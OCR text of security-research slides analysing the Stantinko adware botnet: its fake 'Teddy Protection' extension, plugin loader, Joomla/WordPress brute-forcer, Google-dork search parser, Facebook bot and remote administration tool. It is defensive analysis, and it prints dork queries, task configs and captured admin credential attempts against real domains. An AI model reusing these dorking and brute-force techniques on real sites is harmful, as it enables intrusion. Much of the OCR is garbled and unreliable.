a n I I | a | C I O u S W Internet makes the stay
Teddy Protection enjoyable!

Eesonachuth wrepner credme yme corogpal o R o
Baw 0 Goponon ¢ sepycamn? Teddy Protection - He KOMMep4eckuii MPoekT
Tpeeamar, 0 BaLIN A2 NOIYT NGNYATS FEREASTEALIA W ASKE GOS0 WIGOEMaR] [RTp——— CO3/AaHHbIiA C ABYMS MNaBHBIMY LENsMM -

L]
Bacechman Bexnacoc nepconaminit g BE30MACHOCTb 1t KOM®OPT 8 uHTEpHETe.
e a V | O r PN PN e pupm . g 3ToT MpoekT Npu3saH obesonacuTs Bac ot
s "Bocani wasrt® Ty C ReraocTaad Masper Bac B 6 &
. TEMHOW CTOPOHbI UHTEPHET-CETH

O e OCHKE USCTIANS It TR———
(MOLLIEHHIKYA, CMC-TIOANMCKY, NOYTOBbIE
NOAMMCKY, BUPYCBI, 6NOKVPaTOpEI U ApYroi
OnacHBIif WAaK). A TakKXe O4UILLEHME CalTOB
oT oLwMBOK VX CO3AaTeneli NyTeM yaaneHus
HaBA34MBON peknambi. Hall N03yHr -
CAENaeM NHTEPHET YuLLe, U Bbl MoXeTe
NOBeFENXM ., $30RKPATO]
i L) ORMPATODE BHECTU CBOK MOCUABHYHO MOMOLLb B 3TOM,

TONTODNE DOXMCHIARR

A Website
(1] Report Abuse

Additional Information
Version: 2.5.1
Updated: March 6, 2017
Size: 144KIB

__languases: See all 3

o
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B-Lijst: CRC of blocked domains
e Blist = [265602775, 2250089375, ..

A-List: Custom hash of targeted domains
* EX: eset.com -> O5F2DEBC7.55D2398E68



A-List: Advertising list?
e Hash > Yon: |

furl”: *hxxp A\ /clk.golinks. org\\/?r={%data%}sref=
domain not (xdatan)zsourcetipt, ®
*url_2": *hxxp:\\ /AW Selk.golinks. org\\/?r={%data%}sref=

&
{#datax }esign={%data%}&tm={%data%}&v={%data%}&source=tdp"”, @

pOSSi b | e - :"’iggCHZBZ 70___=0",

“ _6E9CT77FO6__1__=1"

1.

« Anti-debug in lintecn: o, @

“yersion”: 2.07

the hash oot ¢

“CTOCADFA\NAN.(.+)": { ©
Hoqptt s [

function {

“s: “(\\\\7|&|EBAEFZAS5)6B15483=( .*)",

“gm: #( *}E0ASFEBCB5=(.*)",

wyrs [
“0CAS1EB\\\\ .5F509D664",
“E9F58DT712%\\\\ .5F509D664",
“g01DCDY \\\.5F509D664",

“BCE3BDD5Y\\\.55D2398E6E",
ENJOY SAFER TECHNOLOGY"




fhttp://127.0.0.1:3306 (mysqgl) is up, the
extension will not redirect the user

Uninstalls itself when the user browses
chrome://extensions

Google removed the extension from the store



Stantinko’s “plugins”

Beyond adware



wsaudio.dll

wbiosrvp.dll
bstreamsve.dll

Downloads
& executes in memory

PLUGINS

Bruteforce

Facebook bot

Remote Administrator

Search parser

Zaxar cleaner

o
ENJOY SAFER TECHNOLOGY"

PDS
L Contains
- B encrypted code
fdeclient.dll

Loads & X ‘,"'J
biosysrt.dll 8

vp9core.dll

=

ihctrl32_setup.dll

themetrl_ setup.dll

optsatadc_setup.dll
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Not distributed evenly

74.6% 20.4%

Search Parser Brutplugin

(o)
3%
Get HDD serial number

1.7%

Plugin Installers remover

0.3%

Radmin, Facebook bot
& Zaxar cleaner




Perform searches on popular search engines

 Google or Yandex, but only Google is implemented

Get C&C server URLs from encrypted file on a
GitHub repository

C&C server hosted on compromised server

Search for websites with known CMS



Task example

"search": {
Iltypell : lltextll’
"system": "google",
"query": "intext:\"Powered by joomla\"
intext:\"gehrungsschraubstocke n\

}s
"options": {
"sleep on _ban": { "min": 40, "max": 70 },

"sleep on _next page": { "min": 30, "max":

SRS

60 }
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"search™: |

[...],
"http:\/\/www.fcpaok.net\/paok-news\/football-
news\/32-superleague\/1466-2015-04-05",

"http:\/\/vounisios.pblogs.gr\/2013\/20130120.html",
"http:\/\/info-gate.gr\/our-partners-2",

[...]



<?php
function CreateTaskObject($task) {
return array(
"type' => 'text’',
'system' => 'google',

"query' => "inurl:\"index.php?option=com_content\"

intext:\"{$task}\"");

}
function CreateOptionsObject() {

return array(

From data.dat

'sleep_on_ban' => array('min' => 40, 'max' => 70),

'sleep_on_next_page' => array('min' => 30,

"'max' => 60));



Search task statistics

Number of
search results

878,419
1,430,208
1,377,508

ooooooooooooooooooooo

Duration
(hours)

24
207
87

Number of
search results
per hour

36,601
6,909
15,833

Number of
search results
per second

10.17
1.92
4.40
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Bruteforces popular CMS admin page

e Joomla and WordPress

Receive username and password to test from
C&C server

Hardcoded HTTP user agent



15 3 300000 10000 |

80595494
80595494
80595494
64586213
64586213
64586213

[...]

http
http
http
http
http
http

://eurograce.com:80/ 2 admin 100859
://eurograce.com:80/ 2 admin mgomez
://eurograce.com:80/ 2 admin 2HhF19
://azov-yaseni.ru:80/ 2 admin DTM1992
://azov-yaseni.ru:80/ 2 admin tomcate2
://azov-yaseni.ru:80/ 2 admin abell234



000 il = chapman-consulting-sj.com/resources/14-system-ad ¢ (4] th ()

Software Essays

You are here: Home » Software Essays » System Administration » A Botnet with Too Much Time on Its Hands

A Botnet with Too Much Time on Its Hands

Several years ago, after noticing the system overhead of the standard Joomla Web site administrator login page during a password attack, | added a
secondary Apache password to the administrator page using a .htaccess file stored there:

AuthName "Secured Area"
AuthType Basic

AuthUserFile /etc/passwd.joomla
Require valid-user

Two passwords are now required to gain access, but the first one does not require launching PHP, so it consumes much less CPU time. For a
microserver like mine (an Intel Atom CPU on a fanless Mini-ITX motherboard), that's a big deal. The gateway password also provides more security,
much like disallowing root remote logins to a Linux server. | do this on all my servers - first login to a non-privileged account, then use su to gain
privileges. An attacker must guess the non-privileged account name, then the password, and finally the privileged account (root) password.

Usually an attacker will try a few passwords and then go away forever. On May 11, 2016, | noticed that there were a large number of attacks from
separate hosts. Each one would try to login using the user name admin and an unknown password (Apache does not save failed passwords). Since
there is no such user, that would fail and the host would try five more times for a total of six.

A moment later, there would be another set of six attacks. Sometimes two attack sequences would intermingle, but there was essentially no overlap
between any of them. Clearly this was a coordinated attack.

92.113.138.200 - - [15/May/2016:03:18:50 -0700] "GET /administrator/ HTTP/1.1" 401 492 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36"

92.113.138.200 - admin [15/May/2016:03:18:50 -0700] "GET /administrator/ HTTP/1.1" 401 492 "http://chapman-consulting-sj.com/administrator/"

"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36"

o
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Can perform lots of actions specifically on
Facebook

Similar user agent and code ties it to the same
malware operators

Didn’t seem active during our investigation

* No commands sent to our infected machines except
”Sleep”



AddFriend

CommentOther

FindPage
InfoPost
ReadMessage

SetHeader

AddGroup
DeleteComment
GetAllldFriends
Like
Recommendate

SetSettings

AddMembersToGroup
DeleteFriend
GetAllldGroups

Login

Registration

Sleep

ApproveEmail
DeleteGroup
GetAllldMembers
Logout

Repost

UnBan

Comment
DeletePost
GetFriendRequest
Post

SetAvatar

UnLike



Zaxar is another adware
Zaxar is installed by FileTour
Uses a Kaspersky AVZ Antiviral Toolkit script

Removes competition :)



Full custom remote administration tool
Share code with the other components too
Deployed very rarely, only on selected victims



(esCl)

create_dir
get_drives
proclist

start_svc

delete_file
get file
reboot

stop_svc

do_archive
httpget
reg

svclist

exec
kill
rename_file

sysinfo

find_files
s
save_file

upload_file



Stantinko’s Linux Proxy

A multi-platform threat



Yara on VirusTotal
Share a C&C server with PDS modules
Full Joomla dump
nstalled just after a bruteforce attack

ink with the bruteforce module?



Machine fingerprint
SOCKS proxy
Username: scan4you



Scan4you

VirusTotal for
b a d g u yS Home About Login Register Prices Contact Us AV version WebMoney FAQ Advertisement Language: RUSSIAN

Home Login

Password

l | ‘ ? ‘ ? Login
. S d t O t St This service is about to help you in anonymous check of different anti-virus system. This —Login |
REGISTRATION

check will be made by numbers of anti-virus system and no reports will be send to
developers of this anti-virus system. You can be fully sure that your files will not be send

j ta nt i n ko to anti-virus databases. (more ...)
We in base have 35 antiviruses: Kaspersky, Solo, McAfee, BitDefender, Panda, F-Prot, Avast!, VirusBlokAda,

ClamAV, Vexira, Norton, Drweb, AVG, ESET NOD32, G DATA,Quick Heal, A-Squared, IKARUS, Microsoft Security

FORGOT PASSWORD

Essentials Antiviruses, Norman, AntiVir (Avira), Sophos, NANO, SUPERAntiSpyware, COMODOQ, F-Secure,

S | m | e S ? Twister Antivirus, eTrust, Trend Micro, AhnLab V3 Internet Security, BullGuard, VIPRE, Zoner AntiVirus, K7 Tarificaion:
L] Ultimate.

Per Month - 308.
Domain check on presence in black list: ZeuS domain blocklist, Zeus IP blocklist, Zeus Tracker, Per Check - 0.15%.
MalwareDomainList (MDL), Google Safe Browsing (FireFox), PhishTank (Opera, WOT, Yahoo! Mail), hpHosts,
SPAMHAUS SBL, SPAMHAUS PBL, SPAMHAUS XBL, MalwareUrl,SmartScreen (IE7/IE8 malware & phishing Web

site),Norton Safe Web, Panda Antivirus 2010, (Firefox Phishing and Malware Protection), SpamCop.net and

Referal - 10%

More ...

RFC-Ignorant.Org.

o
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Adware doesn’t mean only “ad injection”
> 500 000 infected machines

Pretty advanced usage of obfuscation and anti-
detection techniques



Stantinko whitepaper

Teddy Bear Surfing Out of Sight

Released in July 2017
Available on WeliveSecurity.com

@matthieu faou
@Freddrickk
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